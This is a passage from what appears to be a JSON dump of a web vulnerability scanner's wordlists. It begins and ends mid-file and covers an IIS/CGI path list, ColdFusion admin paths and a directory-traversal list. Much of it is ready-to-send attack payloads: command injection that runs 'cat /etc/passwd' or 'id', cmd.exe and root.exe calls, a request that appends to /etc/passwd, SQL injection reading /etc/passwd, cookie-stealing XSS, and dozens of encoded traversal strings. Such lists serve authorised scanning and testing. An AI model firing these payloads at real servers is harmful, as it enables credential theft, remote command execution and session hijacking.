\nscripts/iisadmin/tools/ctss.idc\nscripts/iisadmin/tools/getdrvrs.exe\nscripts/iisadmin/tools/mkilog.exe\nscripts/issadmin/bdir.htr\nscripts/lsass.exe\nscripts/no-such-file.pl\nscripts/perl\nscripts/pfieffer.bat\nscripts/pfieffer.cmd\nscripts/postinfo.asp\nscripts/proxy/w3proxy.dll\nscripts/repost.asp\nscripts/rguest.exe\nscripts/root.exe?/c+dir+c:\\ \nscripts/root.exe?/c+dir+c:\\+/OG\nscripts/samples \nscripts/samples/ctguestb.idc\nscripts/samples/details.idc\nscripts/samples/search/author.idq\nscripts/samples/search/filesize.idq\nscripts/samples/search/filetime.idq\nscripts/samples/search/qfullhit.htw\nscripts/samples/search/qsumrhit.htw\nscripts/samples/search/query.idq\nscripts/samples/search/queryhit.idq\nscripts/samples/search/simple.idq\nscripts/samples/search/webhits.exe\nscripts/slxweb.dll\nscripts/srchadm/webhits.exe\nscripts/tools \nscripts/tools/ctss.idc\nscripts/tools/dsnform\nscripts/tools/dsnform.exe\nscripts/tools/getdrvrs.exe\nscripts/tools/getdrvs.exe\nscripts/tools/mkilog.exe\nscripts/tools/newdsn.exe\nscripts/tools/uploadn.asp\nscripts/tools/uploadx.asp\nscripts/tradecli.dll\nscripts/tradecli.dll?template=nonexistfile?template=..\\..\\..\\..\\..\\winnt\\system32\\cmd.exe?/c+dir\nscripts/upload.asp\nscripts/uploadn.asp\nscripts/uploadx.asp\nscripts/visadmin.exe\nscripts/wa.exe\nscripts/webbbs.exe\nscripts/wguest.exe\nscripts/wsisa.dll\nscripts/wsisa.dll/WService=anything?WSMadmin\nse/?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse\nsearch.asp?Search=\nsearch.dll?search?query=%00&logic=AND\nsearch.dll?search?query=/&logic=AND\nsearch.php?searchfor=\\\nsearch/SQLQHit.asp\nsearch/htx/SQLQHit.asp\nsearch/htx/sqlqhit.asp\nsearch/inc/\nsearch/sqlqhit.asp\nsearch97.vts\nsearch97cgi/s97_cgi\nsearch?NS-query-pat=../../../../../../../../../../etc/passwd\nsearch?NS-query-pat=..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\nsecret.nsf\nsecure/.htaccess\nsecure/.wwwacl\nsecurecontrolpanel/\nsecurelogin/1,2345,A,00.html\nsecurity/web_access.html\nsendphoto.php\nserver-info\nserver-status\nservers/link.cgi\nservlet/AdminServlet\nservlet/Counter\nservlet/DateServlet\nservlet/FingerServlet\nservlet/HelloWorldServlet\nservlet/IsItWorking\nservlet/PrintServlet\nservlet/SchedulerTransfer\nservlet/SearchServlet\nservlet/ServletManager\nservlet/SessionManager\nservlet/SessionServlet\nservlet/SimpleServlet\nservlet/SnoopServlet\nservlet/admin?category=server&method=listAll&Authorization=Digest+username%3D%22admin%22%2C+response%3D%22ae9f86d6beaa3f9ecb9a5b7e072a4138%22%2C+nonce%3D%222b089ba7985a883ab2eddcd3539a6c94%22%2C+realm%3D%22adminRealm%22%2C+uri%3D%22%2Fservlet%2Fadmin%22&service=\nservlet/allaire.jrun.ssi.SSIFilter\nservlet/com.livesoftware.jrun.plugins.ssi.SSIFilter\nservlet/com.newatlanta.servletexec.JSP10Servlet/\nservlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5cglobal.asa\nservlet/com.unify.servletexec.UploadServlet\nservlet/gwmonitor\nservlet/sq1cdsn\nservlet/sqlcdsn\nservlet/sunexamples.BBoardServlet\nservlet/webacc\nservlet/webacc?User.html=../../../../../../../../../../../../../../../../../../boot.ini%00\nservlet/webacc?User.html=../../../../../../../../../../../../../../../../../../etc/passwd%00\nservlet/webacc?User.html=noexist\nservlet/webpub\nservlets/SchedulerTransfer\nsession/adminlogin\nsession/admnlogin\nsetpasswd.cgi\nsettings/site.ini\nsetup.nsf\nsetupweb.nsf\nshop/database/metacart.mdb\nshop/member_html.cgi?file=;cat%20/etc/passwd|\nshop/member_html.cgi?file=|cat%20/etc/passwd|\nshop/normal_html.cgi?file=../../../../../../etc/issue%00\nshop/normal_html.cgi?file=;cat%20/etc/passwd|\nshop/normal_html.cgi?file=|cat%20/etc/passwd|\nshop/php_files/site.config.php+\nshop/search.php\nshop/show.php\nshopa_sessionlist.asp\nshopadmin.asp\nshopdbtest.asp\nshoponline/fpdb/shop.mdb\nshopping/database/metacart.mdb\nshopping/diag_dbtest.asp\nshopping300.mdb\nshopping400.mdb\nshoppingdirectory/midicart.mdb\nshoutbox.php?conf=../../../../../../../etc/passwd\nshoutbox/expanded.php?conf=../../../../../../../etc/passwd%20\nshowcat.php?catid=&lt;Script&gt;JavaScript:alert('Vulnerable');&lt;/Script&gt;\nshowfile.asp\nsi\nsignon\nsimplebbs/users/users.php\nsips/sipssys/users/a/admin/user\nsite/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html\nsite/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username=USER --/.html\nsite/eg/source.asp\nsite/iissamples/\nsite_searcher.cgi\nsiteminder\nsiteminder/smadmin.html\nsiteseed/\nsiteserver/publishing/viewcode.asp?source=/default.asp\nsmbcfg.nsf\nsmconf.nsf\nsmdata.dat\nsmency.nsf\nsmg_Smxcfg30.exe?vcc=3560121183d3\nsmhelp.nsf\nsmmsg.nsf\nsmquar.nsf\nsmsolar.nsf\nsmssend.php\nsmtime.nsf\nsmtp.box\nsmtp.nsf\nsmtpibwq.nsf\nsmtpobwq.nsf\nsmtptbls.nsf\nsmvlog.nsf\nsoap/servlet/soaprouter\nsoapConfig.xml\nsoftware.nsf\nsoinfo.php?\\\nspelling.php3+\nsplashAdmin.php\nspwd\nsqldump.sql\nsqlnet.log\nsqlqhit.asp\nsquirrelmail/src/read_body.php\nsrc/read_body.php?mailbox=%3Cscript%3Ealert(Vulnerable)%3C%2Fscript%3E&passed_id=%3Cscript%3Ealert(Vulnerable)%3C%2Fscript%3E&startMessage=1&show_more=0\nsrchadm \nsrvinst.nsf\nsrvnam.htm\nsrvstatus.chl+\nssdefs/\nssdefs/siteseed.dtd\nsshome/\nssi/envout.bat\nssi/envout.bat?|dir%20..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\\nstart.php?config=alper.inc.php\nstaticpages/index.php\nstatmail.nsf\nstatrep.nsf\nstatus.php3\nstauths.nsf\nstautht.nsf\nstconf.nsf\nstconfig.nsf\nstdnaset.nsf\nstdomino.nsf\nstlog.nsf\nstreg.nsf\nstronghold-info\nstronghold-status\nstructure.sql\nstsrc.nsf\nstyle/\nstyles/\nsubmit?setoption=q&option=allowed_ips&value=255.255.255.255\nsupport/common.php?f=0&ForumLang=../../../../../../../../../../etc/passwd\nsupport/messages\nsupporter/index.php\nsupporter/tupdate.php\nsurf/scwebusers\nsw000.asp?|-|0|404_Object_Not_Found\nsys\nsyslog.htm?%20\nsystem\nsysuser/docmgr/iecreate.stm?template=../\nsysuser/docmgr/ieedit.stm?url=../\ntaff\ntatistic\ntatistics\ntats\ntatus\ntechnote/print.cgi\ntest\ntest.nsf\ntest.php\ntest.php%20\ntest/info.php\ntest/jsp/Language.jsp\ntest/jsp/buffer1.jsp\ntest/jsp/buffer2.jsp\ntest/jsp/buffer3.jsp\ntest/jsp/buffer4.jsp\ntest/jsp/declaration/IntegerOverflow.jsp\ntest/jsp/extends1.jsp\ntest/jsp/extends2.jsp\ntest/jsp/pageAutoFlush.jsp\ntest/jsp/pageDouble.jsp\ntest/jsp/pageExtends.jsp\ntest/jsp/pageImport2.jsp\ntest/jsp/pageInfo.jsp\ntest/jsp/pageInvalid.jsp\ntest/jsp/pageIsErrorPage.jsp\ntest/jsp/pageIsThreadSafe.jsp\ntest/jsp/pageSession.jsp\ntest/phpinfo.php\ntest/realPath.jsp\ntexis.exe/?-dump\ntexis.exe/?-version\ntexis/websearch/phine\nthebox/admin.php?act=write&username=admin&password=admin&aduser=admin&adpass=admin\ntheme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter,/system/status/session\ntheme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter\\\ntheme1/selector?button=status,monitor,session&button_url=/system/status/status\\\ntheme1/selector?button=status,monitor,session\\\nticket.php?id=99999\ntiki/\ntiki/tiki-install.php\ntinymsg.php\ntmlscript\ntmp_view.php?file=/etc/passwd\ntoday.nsf\ntomcat-docs/index.html\ntopic/entete.php\ntopsitesdir/edit.php\ntrace.axd\ntree\ntree.dat\ntsweb/\nttforum/index.php\ntutos/file/file_new.php\ntutos/file/file_select.php\ntvcs/getservers.exe?action=selects1\ntypo3/typo3/dev/translations.php\ntypo3conf/\ntypo3conf/database.sql\ntypo3conf/localconf.php\nuestbook.cgi\nuifc/MultFileUploadHandler.php+\nun\nupd/\nupdate.cgi\nupdate.php\nupdate.php3\nupdate.pl\nupload.asp\nupload.cgi+\nupload.php?type=\\\nuploader.php\nuploadn.asp\nuploadx.asp\nurl.jsp\nurvey.cgi\nus/cgi-bin/sewse.exe?d:/internet/sites/us/sewse/jabber/comment2.jse+c:\\boot.ini\nusage/\nuser.dat\nuser.log\nuser.php?op=confirmnewuser&module=NS-NewUser&uname=%22%3E%3Cimg%20src=%22javascript:alert(document.cookie);%22%3E&email=test@test.com\nuseraction.php3\nusercp.php?function=avataroptions:javascript:alert(%27Vulnerable%27)\nuserinfo.php?uid=1;\nuserlog.php\nuserreg.cgi?cmd=insert&amp;lang=eng&amp;tnum=3&amp;fld1=test999%0acat&lt;/var/spool/mail/login&gt;&gt;/etc/passwd\nuserreg.nsf\nusers.nsf\nutils/sprc.asp+\nvars.inc+\nvbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22\nvbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22\nvc30/\nvchat/msg.txt\nvgn/legacy/save\nvgn/license\nvgn/login\nvgn/login/1,501,,00.html?cookieName=x--\\>\nvgn/style\nvider.php3\nview_source.jsp\nviewimg.php?path=../../../../../../../../../../etc/passwd&form=1&var=1\nviewpage.php?file=/etc/passwd\nvpuserinfo.nsf\nw-agora/\nwa.exe\nwarez/\nwbboard/profile.php\nwbboard/reply.php\nweb-console/ServerInfo.jsp%00\nweb.nsf\nwebMathematica/MSP?MSPStoreID=../../../../../../../../../../etc/passwd&MSPStoreType=image/gif\nwebMathematica/MSP?MSPStoreID=..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini&MSPStoreType=image/gif\nweb_app/WEB-INF/jrun-web.xml\nweb_app/WEB-INF/webapp.properties\nwebadmin.nsf\nwebalizer/\nwebamil/test.php\nwebamil/test.php?mode=phpinfo\nwebcalendar/forum.php?user_inc=../../../../../../../../../../etc/passwd\nwebcalendar/login.php\nwebcalendar/view_m.php\nwebcalendar/week.php?user=\\\nwebcart-lite/config/import.txt\nwebcart-lite/orders/import.txt\nwebcart/carts/\nwebcart/config/\nwebcart/config/clients.txt\nwebcart/orders/\nwebcart/orders/import.txt\nwebdist.cgi\nwebgais\nwebmail/blank.html\nwebmail/horde/test.php\nwebmail/lib/emailreader_execute_on_each_page.inc.php\nwebmail/src/read_body.php\nwebmaster_logs\nwebsendmail\nwebuser.nsf\nwelcome.nsf\nwhatever.htr\nwhateverJUNK(4).html\nwikihome/action/conflict.php\nwksinst.nsf\nws_ftp.ini\nww-sql\nwwboard.pl\nwwwboard.pl\nwwwboard/passwd.txt\nwwwshell.pl\nwx/s.dll?d=/boot.ini\nx_stat_admin.php\nxdk/\nxsql/demo/adhocsql/query.xsql?sql=select%20username%20from%20ALL_USERS\nxsql/demo/airport/airport.xsql?xml-stylesheet=none\nyabbse/Reminder.php\nyabbse/Sources/Packages.php\nz_user_show.php?method=showuserlink&class=<Script>javascript:alert(document.cookie)</Script>&rollid=admin&x=3da59a9da8825&\nzentrack/index.php\n~bin\n~ftp\n~nobody/etc/passwd\n~root/\n"
  },
  {
    "path": "wordlist/vulns/coldfusion.txt",
    "content": "CFIDE\r\nCFIDE/administrator\r\nCFIDE/administrator/aboutcf.cfm\r\nCFIDE/administrator/Application.cfm\r\nCFIDE/administrator/checkfile.cfm\r\nCFIDE/administrator/enter.cfm\r\nCFIDE/administrator/header.cfm\r\nCFIDE/administrator/homefile.cfm\r\nCFIDE/administrator/homepage.cfm\r\nCFIDE/administrator/index.cfm\r\nCFIDE/administrator/left.cfm\r\nCFIDE/administrator/linkdirect.cfm\r\nCFIDE/administrator/login.cfm\r\nCFIDE/administrator/logout.cfm\r\nCFIDE/administrator/navserver.cfm\r\nCFIDE/administrator/right.cfm\r\nCFIDE/administrator/tabs.cfm\r\nCFIDE/administrator/welcome.cfm\r\nCFIDE/administrator/welcomedoc.cfm\r\nCFIDE/administrator/welcomeexapps.cfm\r\nCFIDE/administrator/welcomefooter.cfm\r\nCFIDE/administrator/welcomegetstart.cfm"
  },
  {
    "path": "wordlist/vulns/dirTraversal-nix.txt",
    "content": "..//etc/passwd\r\n../..//etc/passwd\r\n../../..//etc/passwd\r\n../../../..//etc/passwd\r\n../../../../..//etc/passwd\r\n../../../../../..//etc/passwd\r\n../../../../../../..//etc/passwd\r\n../../../../../../../..//etc/passwd\r\n..%2f/etc/passwd\r\n..%2f..%2f/etc/passwd\r\n..%2f..%2f..%2f/etc/passwd\r\n..%2f..%2f..%2f..%2f/etc/passwd\r\n..%2f..%2f..%2f..%2f..%2f/etc/passwd\r\n..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd\r\n%2e%2e//etc/passwd\r\n%2e%2e/%2e%2e//etc/passwd\r\n%2e%2e/%2e%2e/%2e%2e//etc/passwd\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\r\n%2e%2e%2f/etc/passwd\r\n%2e%2e%2f%2e%2e%2f/etc/passwd\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n..%252f/etc/passwd\r\n..%252f..%252f/etc/passwd\r\n..%252f..%252f..%252f/etc/passwd\r\n..%252f..%252f..%252f..%252f/etc/passwd\r\n..%252f..%252f..%252f..%252f..%252f/etc/passwd\r\n..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd\r\n%252e%252e//etc/passwd\r\n%252e%252e/%252e%252e//etc/passwd\r\n%252e%252e/%252e%252e/%252e%252e//etc/passwd\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\r\n%252e%252e%252f/etc/passwd\r\n%252e%252e%252f%252e%252e%252f/etc/passwd\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\r\n..\\/etc/passwd\r\n..\\..\\/etc/passwd\r\n..\\..\\..\\/etc/passwd\r\n..\\..\\..\\..\\/etc/passwd\r\n..\\..\\..\\..\\..\\/etc/passwd\r\n..\\..\\..\\..\\..\\..\\/etc/passwd\r\n..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\n..\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\n..%255c/etc/passwd\r\n..%255c..%255c/etc/passwd\r\n..%255c..%255c..%255c/etc/passwd\r\n..%255c..%255c..%255c..%255c/etc/passwd\r\n..%255c..%255c..%255c..%255c..%255c/etc/passwd\r\n..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd\r\n%252e%252e\\/etc/passwd\r\n%252e%252e\\%252e%252e\\/etc/passwd..%5c/etc/passwd\r\n..%5c..%5c/etc/passwd\r\n..%5c..%5c..%5c/etc/passwd\r\n..%5c..%5c..%5c..%5c/etc/passwd\r\n..%5c..%5c..%5c..%5c..%5c/etc/passwd\r\n..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd\r\n%2e%2e\\/etc/passwd\r\n%2e%2e\\%2e%2e\\/etc/passwd\r\n%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\r\n%2e%2e%5c/etc/passwd\r\n%2e%2e%5c%2e%2e%5c/etc/passwd\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\/etc/passwd\r\n%252e%252e%255c/etc/passwd\r\n%252e%252e%255c%252e%252e%255c/etc/passwd\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c/etc/passwd\r\n..%c0%af/etc/passwd\r\n..%c0%af..%c0%af/etc/passwd\r\n..%c0%af..%c0%af..%c0%af/etc/passwd\r\n..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd\r\n..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd\r\n..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd\r\n..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd\r\n..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd\r\n%c0%ae%c0%ae//etc/passwd\r\n%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd\r\n%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae//etc/passwd\r\n%c0%ae%c0%ae%c0%af/etc/passwd\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd\r\n%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af/etc/passwd\r\n..%25c0%25af/etc/passwd\r\n..%25c0%25af..%25c0%25af/etc/passwd\r\n..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd\r\n..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af/etc/passwd\r\n%25c0%25ae%25c0%25ae//etc/passwd\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd\r\n%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae//etc/passwd\r\n%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd\r\n%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af/etc/passwd\r\n..%c1%9c/etc/passwd\r\n..%c1%9c..%c1%9c/etc/passwd\r\n..%c1%9c..%c1%9c..%c1%9c/etc/passwd\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd\r\n..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c/etc/passwd\r\n%c0%ae%c0%ae\\/etc/passwd\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\/etc/passwd\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\/etc/passwd\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\/etc/passwd\r\n%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\